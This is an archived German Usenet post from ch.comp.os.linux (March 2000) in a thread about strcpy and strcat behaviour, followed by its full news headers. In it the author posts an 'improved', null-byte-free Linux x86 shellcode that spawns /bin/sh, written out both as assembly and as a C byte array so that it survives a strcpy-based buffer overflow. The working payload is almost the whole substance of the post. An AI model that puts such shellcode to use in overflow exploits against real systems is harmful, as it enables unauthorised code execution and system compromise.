Re: strcpy/strcat Anomalie

Article View: ch.comp.os.linux

Article #18304

#18304

From: Holger van Koll
Date: Sun, 26 Mar 2000 00:00

34 lines
1602 bytes

Holger van Koll schrieb in Nachricht <8bjh6r$pf0$1@bw107zhb.bluewin.ch>...
>
>Im wesentlichen sieht ein solcher Shellcode so aus:
...

Der gepostete Shellcode funktioniert, hat aber Nuller (d.h. wird von einem
strcpy nicht vollst�ndig �bertragen).

Hier der verbesserte:
jmp    0x1f
popl   %esi
movl   %esi,0x8(%esi)
xorl   %eax,%eax
movb   %eax,0x7(%esi)
movl   %eax,0xc(%esi)
movb   $0xb,%al
movl   %esi,%ebx
leal   0x8(%esi),%ecx
leal   0xc(%esi),%edx
int    $0x80
xorl   %ebx,%ebx
movl   %ebx,%eax
inc    %eax
int    $0x80
call   -0x24
.string \"/bin/sh\"

bzw.

char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

Technical Details

Message-ID: <8bjius$pv8$1@bw107zhb.bluewin.ch>

Path: arc1-ca.pugleaf.net!unknown!not-for-mail

References:

<38DA5C18.8317881@weltuntergang.ch> <8bgm0b$sr6$1@bw107zhb.bluewin.ch> <38DCA124.7370CABB@bluewin.ch> <8bisi6$j67$1@bw107zhb.bluewin.ch> <38DD3F38.390AA759@bluewin.ch> <8bjh6r$pf0$1@bw107zhb.bluewin.ch>

Show Full Headers

Complete Article Headers

X-Google-Language: GERMAN,ASCII
X-Google-Thread: f4b73,5512f1ce4457836d
X-Google-Attributes: gidf4b73,public
From: "Holger van Koll" <holger@vankoll.de>
Subject: Re: strcpy/strcat Anomalie
Date: 2000/03/26
Message-ID: <8bjius$pv8$1@bw107zhb.bluewin.ch>
X-Deja-AN: 602394088
References: <38DA5C18.8317881@weltuntergang.ch> <8bgm0b$sr6$1@bw107zhb.bluewin.ch> <38DCA124.7370CABB@bluewin.ch> <8bisi6$j67$1@bw107zhb.bluewin.ch> <38DD3F38.390AA759@bluewin.ch> <8bjh6r$pf0$1@bw107zhb.bluewin.ch>
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
X-Complaints-To: newsmaster@bluewin.ch
X-Trace: bw107zhb.bluewin.ch 954027804 26600 195.186.176.26 (25 Mar 2000 23:43:24 GMT)
Organization: Swisscom AG, the blue window
NNTP-Posting-Date: 25 Mar 2000 23:43:24 GMT
Newsgroups: ch.comp.os.linux

Reply to Parent Message